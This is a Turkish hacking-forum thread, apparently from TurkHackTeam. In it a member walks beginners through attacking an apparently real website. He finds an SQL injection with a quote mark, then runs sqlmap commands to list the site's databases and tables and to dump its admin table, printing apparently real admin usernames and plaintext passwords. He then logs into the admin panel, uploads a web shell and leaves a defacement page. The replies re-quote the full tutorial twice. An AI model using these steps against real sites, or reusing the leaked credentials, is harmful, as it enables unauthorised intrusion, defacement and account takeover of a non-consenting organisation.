Canlı Canlı Website Hackleme ,Shell Upload Etme ve Index Atma.

Wodenn

Üye
17 Mar 2022
94
84
Azerbaijan
Merhabalar TurkHackTeam ailesi bu konuda Sql zafiyeti kullanarak site admin paneline erişdikten sonra shell upload ve index atmayı görsel olarak göstermek istiyorum.
Konu içinde bazı ipuçları bulmanız mümkün.Dikkatli okursanız sizde maksimum faydalana bilirsiniz.

PART 1 -ZAFİYET KEŞFİ
Site oncesi:

JA9DoP.png


BİR SİTEDE SQL AÇIĞI ARIYORSAK GENEL OLARAK YAPILAN İLK ŞEY SİTEDEKİ HERHANGİ BİR İD DEĞERİNİN SONUNA TIRNAK İŞARETİ EKLEMEKTİR
TIRNAK İŞARETİ ATDIKTAN SONRASI
JA9e3M.png











TIRNAK İŞARETİ EKLEDİKDEN SONRA SİTEDE VERİ KAYBI OLUYORSA,HERHANGİ BİR HATA VERİYORSA,YAZILAR TAMAMEN YOK OLUYORSA VE YA HER HANGİ DEĞİŞİK TÜRDEN YAZILAR ÇIKIYORSA ORADA BÜYÜK İHTİMAL SQL ZAFİYETİ BULUNMAKTADIR.


Yeni arkadaşlar için temel düzeyde anlatmak istediğim için sizlere şimdi bu açığı manual değilde sqlmap kullanarak nasıl istismar edeceğimizi gösteriyorum.

PART 2 -TOOL KULLANARAK AÇIKTAN FAYDALANMAK

sqlmap -u "CRIME & SEXUAL BEHAVIOUR AWARENESS PROGRAM" --random-agent --dbs --batch

available databases [15]:
[*] cmc_erp
[*] cmc_marine
[*] dgs_cdac
[*] freshnaroma
[*] gpsdirectory
[*] imu
[*] information_schema
[*] maritimeknowledge
[*] mmct_marine
[*] mysql
[*] online_examination
[*] performance_schema
[*] sunav
[*] survey
[*] virtualguru

sqlmap -u "CRIME & SEXUAL BEHAVIOUR AWARENESS PROGRAM" -D cmc_erp --tables

Database: cmc_erp
[21 tables]
+-------------------------+
| batch_strength |
| category |
| cmc_academic_sms_log |
| cmc_academic_year |
| cmc_adminuser |
| cmc_admission_team |
| cmc_agent_register |
| cmc_announcements |
| cmc_application |
| cmc_asset_in |
| cmc_asset_inward |
| cmc_asset_log |
| cmc_asset_master |
| cmc_asset_outward |
| cmc_assign_task |
| cmc_attendance |
| cmc_attendance_cron |
| cmc_authorization |
| cmc_bank_inflow |
| cmc_bank_openingbalance |
| cmc_bank_outflow |
+-------------------------+

sqlmap -u "Diwali Celebrations at CMC" --random-agent -D cmc_erp -T cmc_adminuser --columns

Database: cmc_erp
Table: cmc_adminuser
[11 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| email | varchar(50) |
| first_name | varchar(50) |
| id | bigint(20) |
| lastname | varchar(50) |
| mobile_no | varchar(20) |
| password | varchar(20) |
| reference_no | varchar(50) |
| status | int(1) |
| unit | varchar(250) |
| user_group | varchar(50) |
| username | varchar(50) |
+--------------+--------------+

sqlmap -u "Diwali Celebrations at CMC" --random-agent -D cmc_erp -T cmc_adminuser -C username,password --dump

Database: cmc_erp
Table: cmc_adminuser
[4 entries]
+--------------------------+--------------+
| username | password |
+--------------------------+--------------+
| admin | mtech!@adm12 |
| [email protected] | 4222364900 |
| [email protected] | 4222612200 |
| [email protected] | 9894993164 |
+--------------------------+--------------+​


GORDUGUNUZ UZERE SİTEDEKİ ADMİN BİLGİLERİNİ SQLMAP KULLANARAK BULDUK
ŞİMDİ SİZLERE BİR SİTENİN ADMİN VE YA LOGİN TARZI PANEL İSMİ YOKSA NASIL PANELİ BULURUZ

ONU GÖSTEREYİM.

CTRL C YAPIN VE SİTE DİZİNLERİNİ GEZİN
JAf7i6.png
GÖRDÜĞÜNÜZ ÜZERE BURADA SİTENİN ADMİN PANELİNE ULAŞACAĞIMIZ LİNKİ BULDUK ŞİMDİ SQLMAP KULLANARAK BULDUĞUMUZ
ADMİN PANEL USER PASSLA PANELE GİRİYORUZ.
JAwPVy.png


















JAwEdn.png

PART 3 - SHELL VE INDEX ATMA
ILK OLARAK ADMIN PANELINI GEZIN VE RESIM PDF VE YA DIGER DOSYA TURLERINI UPLOAD EDECEGINIZ BIR YOL BULUN

JAwysH.png

JAwuV1.png

ARKADASLAR GORDUGUNUZ UZERE BULDUK VE
UPLOAD ETDIK SIMDI SHELL DIZININE GIDELIM

JAwBYq.png

BUNDAN SONRASI SİZE KALMIŞ .AMACIMIZ SADECE GÖSTERMEK OLDUĞU
İÇİN UFAK BİR UYARI.HTML BIRAKARAK KONUMUZU SONLANDIRIYORUM.
JAwean.png
 

Wodenn

Üye
17 Mar 2022
94
84
Azerbaijan
Aklınıza takılan ve sizin için en anlamsız gelecek bir soruyu bile sora bilirsiniz.Amacımız öğrenmekse en temel dilde anlatmayı tercih ederim.Rahat üslupta yazmamın tek nedeni budur.Herkese iyi forumlar dilerim
 

Wodenn

Üye
17 Mar 2022
94
84
Azerbaijan
Elinize sağlık yararlı olmuş.
Teşekkür ederim

Hocam tırnak eklemek derken örnek verebilir misiniz yeniyimde
Merhabalar hocam tabii ki.Sql acikli sitenin id degerinin sonuna tirnak isareti eklememizin nedeni tirnak isaretinin sql sorgularinda ozel anlam ifade etmesidir.Tirnak isareti Sql dilinde fieldlerin degerini sinirlandirmaya yarar ve bu yuzden sitede hata verdirir.Sql verileri yonetmek ve tasarlamak icin kullanilan dildir.Anlayisiniz yoksa henuz bu terimlerin size yabanci gelmesi normaldir .Iyi forumlar
 

Wodenn

Üye
17 Mar 2022
94
84
Azerbaijan
Hocam örnek olarak türk sitesimi bilmiyorum ama örnek verceğim hacklemek amacım değil https://www.gorunum.mobi/index.html" tırnak koyunca gidiyor olabilir mi
bu islem icin sitenin sonunda id degeri olmasi gerekir ve ayrica her hatada acik oldugu anlamina gelmez.Tirnak atarak sitenin islevini bozdugumuz icin normal olarak butun siteler error verir ve ornek gosterdiginiz site forum sitesi yani anlatdigimiz konuyla pek bir alakasi yok.Errorun sql erroru yani sql acigi oldugu icin error verdigini nasil anlariz dersen sitede butun yazilar kayboluyorsa yani beyaz ekran oluyorsa (blind sql injection),sql syntax error tarzi yazilar cikiyorsa ve ya 404 not found tarzi degilde sacma sapan veriler kayboluyorsa o zaman buyuk ihtimal vardir
 

Blwe

Uzman üye
17 Şub 2021
1,579
17
1,647
Green/Moderasyon
Web hacking'e yeni başlayan arkadaşlar için güzel bir konu hazırlamışsın dostum. Eline sağlık. Başarıların daim olsun.
 

spe4k

Yeni üye
29 Ocak 2023
5
0
Teşekkür ederim
sqlmap ile deneme yaparken tablo bulamıyor yardımcı olur musun
 
Son düzenleme:

operatorx

Üye
20 Şub 2023
221
2
110
Merhabalar TurkHackTeam ailesi bu konuda Sql zafiyeti kullanarak site admin paneline erişdikten sonra shell upload ve index atmayı görsel olarak göstermek istiyorum.
Konu içinde bazı ipuçları bulmanız mümkün.Dikkatli okursanız sizde maksimum faydalana bilirsiniz.

PART 1 -ZAFİYET KEŞFİ
Site oncesi:

JA9DoP.png


BİR SİTEDE SQL AÇIĞI ARIYORSAK GENEL OLARAK YAPILAN İLK ŞEY SİTEDEKİ HERHANGİ BİR İD DEĞERİNİN SONUNA TIRNAK İŞARETİ EKLEMEKTİR
TIRNAK İŞARETİ ATDIKTAN SONRASI
JA9e3M.png











TIRNAK İŞARETİ EKLEDİKDEN SONRA SİTEDE VERİ KAYBI OLUYORSA,HERHANGİ BİR HATA VERİYORSA,YAZILAR TAMAMEN YOK OLUYORSA VE YA HER HANGİ DEĞİŞİK TÜRDEN YAZILAR ÇIKIYORSA ORADA BÜYÜK İHTİMAL SQL ZAFİYETİ BULUNMAKTADIR.


Yeni arkadaşlar için temel düzeyde anlatmak istediğim için sizlere şimdi bu açığı manual değilde sqlmap kullanarak nasıl istismar edeceğimizi gösteriyorum.

PART 2 -TOOL KULLANARAK AÇIKTAN FAYDALANMAK

sqlmap -u "CRIME & SEXUAL BEHAVIOUR AWARENESS PROGRAM" --random-agent --dbs --batch

available databases [15]:
[*] cmc_erp
[*] cmc_marine
[*] dgs_cdac
[*] freshnaroma
[*] gpsdirectory
[*] imu
[*] information_schema
[*] maritimeknowledge
[*] mmct_marine
[*] mysql
[*] online_examination
[*] performance_schema
[*] sunav
[*] survey
[*] virtualguru

sqlmap -u "CRIME & SEXUAL BEHAVIOUR AWARENESS PROGRAM" -D cmc_erp --tables

Database: cmc_erp
[21 tables]
+-------------------------+
| batch_strength |
| category |
| cmc_academic_sms_log |
| cmc_academic_year |
| cmc_adminuser |
| cmc_admission_team |
| cmc_agent_register |
| cmc_announcements |
| cmc_application |
| cmc_asset_in |
| cmc_asset_inward |
| cmc_asset_log |
| cmc_asset_master |
| cmc_asset_outward |
| cmc_assign_task |
| cmc_attendance |
| cmc_attendance_cron |
| cmc_authorization |
| cmc_bank_inflow |
| cmc_bank_openingbalance |
| cmc_bank_outflow |
+-------------------------+

sqlmap -u "Diwali Celebrations at CMC" --random-agent -D cmc_erp -T cmc_adminuser --columns

Database: cmc_erp
Table: cmc_adminuser
[11 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| email | varchar(50) |
| first_name | varchar(50) |
| id | bigint(20) |
| lastname | varchar(50) |
| mobile_no | varchar(20) |
| password | varchar(20) |
| reference_no | varchar(50) |
| status | int(1) |
| unit | varchar(250) |
| user_group | varchar(50) |
| username | varchar(50) |
+--------------+--------------+

sqlmap -u "Diwali Celebrations at CMC" --random-agent -D cmc_erp -T cmc_adminuser -C username,password --dump

Database: cmc_erp
Table: cmc_adminuser
[4 entries]
+--------------------------+--------------+
| username | password |
+--------------------------+--------------+
| admin | mtech!@adm12 |
| [email protected] | 4222364900 |
| [email protected] | 4222612200 |
| [email protected] | 9894993164 |
+--------------------------+--------------+​


GORDUGUNUZ UZERE SİTEDEKİ ADMİN BİLGİLERİNİ SQLMAP KULLANARAK BULDUK
ŞİMDİ SİZLERE BİR SİTENİN ADMİN VE YA LOGİN TARZI PANEL İSMİ YOKSA NASIL PANELİ BULURUZ

ONU GÖSTEREYİM.

CTRL C YAPIN VE SİTE DİZİNLERİNİ GEZİN
JAf7i6.png
GÖRDÜĞÜNÜZ ÜZERE BURADA SİTENİN ADMİN PANELİNE ULAŞACAĞIMIZ LİNKİ BULDUK ŞİMDİ SQLMAP KULLANARAK BULDUĞUMUZ
ADMİN PANEL USER PASSLA PANELE GİRİYORUZ.
JAwPVy.png


















JAwEdn.png

PART 3 - SHELL VE INDEX ATMA
ILK OLARAK ADMIN PANELINI GEZIN VE RESIM PDF VE YA DIGER DOSYA TURLERINI UPLOAD EDECEGINIZ BIR YOL BULUN

JAwysH.png

JAwuV1.png

ARKADASLAR GORDUGUNUZ UZERE BULDUK VE
UPLOAD ETDIK SIMDI SHELL DIZININE GIDELIM

JAwBYq.png

BUNDAN SONRASI SİZE KALMIŞ .AMACIMIZ SADECE GÖSTERMEK OLDUĞU
İÇİN UFAK BİR UYARI.HTML BIRAKARAK KONUMUZU SONLANDIRIYORUM.
JAwean.png
hocam resimler silinmiş galiba
 

Liprow

Katılımcı Üye
15 Şub 2021
417
533
"Konu içinde bazı ipuçları bulmanız mümkün. Dikkatli okursanız sizde maksimum faydalana bilirsiniz." İpucu bulamadık???? NEYDİ???
 

PanchiaNN

Anka Team Junior
29 Tem 2022
140
1
115
United States & Türkiye
Merhabalar TurkHackTeam ailesi bu konuda Sql zafiyeti kullanarak site admin paneline erişdikten sonra shell upload ve index atmayı görsel olarak göstermek istiyorum.
Konu içinde bazı ipuçları bulmanız mümkün.Dikkatli okursanız sizde maksimum faydalana bilirsiniz.

PART 1 -ZAFİYET KEŞFİ
Site oncesi:

JA9DoP.png


BİR SİTEDE SQL AÇIĞI ARIYORSAK GENEL OLARAK YAPILAN İLK ŞEY SİTEDEKİ HERHANGİ BİR İD DEĞERİNİN SONUNA TIRNAK İŞARETİ EKLEMEKTİR
TIRNAK İŞARETİ ATDIKTAN SONRASI
JA9e3M.png











TIRNAK İŞARETİ EKLEDİKDEN SONRA SİTEDE VERİ KAYBI OLUYORSA,HERHANGİ BİR HATA VERİYORSA,YAZILAR TAMAMEN YOK OLUYORSA VE YA HER HANGİ DEĞİŞİK TÜRDEN YAZILAR ÇIKIYORSA ORADA BÜYÜK İHTİMAL SQL ZAFİYETİ BULUNMAKTADIR.


Yeni arkadaşlar için temel düzeyde anlatmak istediğim için sizlere şimdi bu açığı manual değilde sqlmap kullanarak nasıl istismar edeceğimizi gösteriyorum.

PART 2 -TOOL KULLANARAK AÇIKTAN FAYDALANMAK

sqlmap -u "CRIME & SEXUAL BEHAVIOUR AWARENESS PROGRAM" --random-agent --dbs --batch

available databases [15]:
[*] cmc_erp
[*] cmc_marine
[*] dgs_cdac
[*] freshnaroma
[*] gpsdirectory
[*] imu
[*] information_schema
[*] maritimeknowledge
[*] mmct_marine
[*] mysql
[*] online_examination
[*] performance_schema
[*] sunav
[*] survey
[*] virtualguru

sqlmap -u "CRIME & SEXUAL BEHAVIOUR AWARENESS PROGRAM" -D cmc_erp --tables

Database: cmc_erp
[21 tables]
+-------------------------+
| batch_strength |
| category |
| cmc_academic_sms_log |
| cmc_academic_year |
| cmc_adminuser |
| cmc_admission_team |
| cmc_agent_register |
| cmc_announcements |
| cmc_application |
| cmc_asset_in |
| cmc_asset_inward |
| cmc_asset_log |
| cmc_asset_master |
| cmc_asset_outward |
| cmc_assign_task |
| cmc_attendance |
| cmc_attendance_cron |
| cmc_authorization |
| cmc_bank_inflow |
| cmc_bank_openingbalance |
| cmc_bank_outflow |
+-------------------------+

sqlmap -u "Diwali Celebrations at CMC" --random-agent -D cmc_erp -T cmc_adminuser --columns

Database: cmc_erp
Table: cmc_adminuser
[11 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| email | varchar(50) |
| first_name | varchar(50) |
| id | bigint(20) |
| lastname | varchar(50) |
| mobile_no | varchar(20) |
| password | varchar(20) |
| reference_no | varchar(50) |
| status | int(1) |
| unit | varchar(250) |
| user_group | varchar(50) |
| username | varchar(50) |
+--------------+--------------+

sqlmap -u "Diwali Celebrations at CMC" --random-agent -D cmc_erp -T cmc_adminuser -C username,password --dump

Database: cmc_erp
Table: cmc_adminuser
[4 entries]
+--------------------------+--------------+
| username | password |
+--------------------------+--------------+
| admin | mtech!@adm12 |
| [email protected] | 4222364900 |
| [email protected] | 4222612200 |
| [email protected] | 9894993164 |
+--------------------------+--------------+​


GORDUGUNUZ UZERE SİTEDEKİ ADMİN BİLGİLERİNİ SQLMAP KULLANARAK BULDUK
ŞİMDİ SİZLERE BİR SİTENİN ADMİN VE YA LOGİN TARZI PANEL İSMİ YOKSA NASIL PANELİ BULURUZ

ONU GÖSTEREYİM.

CTRL C YAPIN VE SİTE DİZİNLERİNİ GEZİN
JAf7i6.png
GÖRDÜĞÜNÜZ ÜZERE BURADA SİTENİN ADMİN PANELİNE ULAŞACAĞIMIZ LİNKİ BULDUK ŞİMDİ SQLMAP KULLANARAK BULDUĞUMUZ
ADMİN PANEL USER PASSLA PANELE GİRİYORUZ.
JAwPVy.png


















JAwEdn.png

PART 3 - SHELL VE INDEX ATMA
ILK OLARAK ADMIN PANELINI GEZIN VE RESIM PDF VE YA DIGER DOSYA TURLERINI UPLOAD EDECEGINIZ BIR YOL BULUN

JAwysH.png

JAwuV1.png

ARKADASLAR GORDUGUNUZ UZERE BULDUK VE
UPLOAD ETDIK SIMDI SHELL DIZININE GIDELIM

JAwBYq.png

BUNDAN SONRASI SİZE KALMIŞ .AMACIMIZ SADECE GÖSTERMEK OLDUĞU
İÇİN UFAK BİR UYARI.HTML BIRAKARAK KONUMUZU SONLANDIRIYORUM.
JAwean.png
Detaylı ve açıklayıcı olmuş. Fakat resimler gözükmüyor benle mi alakalı makale ile mi anlamadım.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.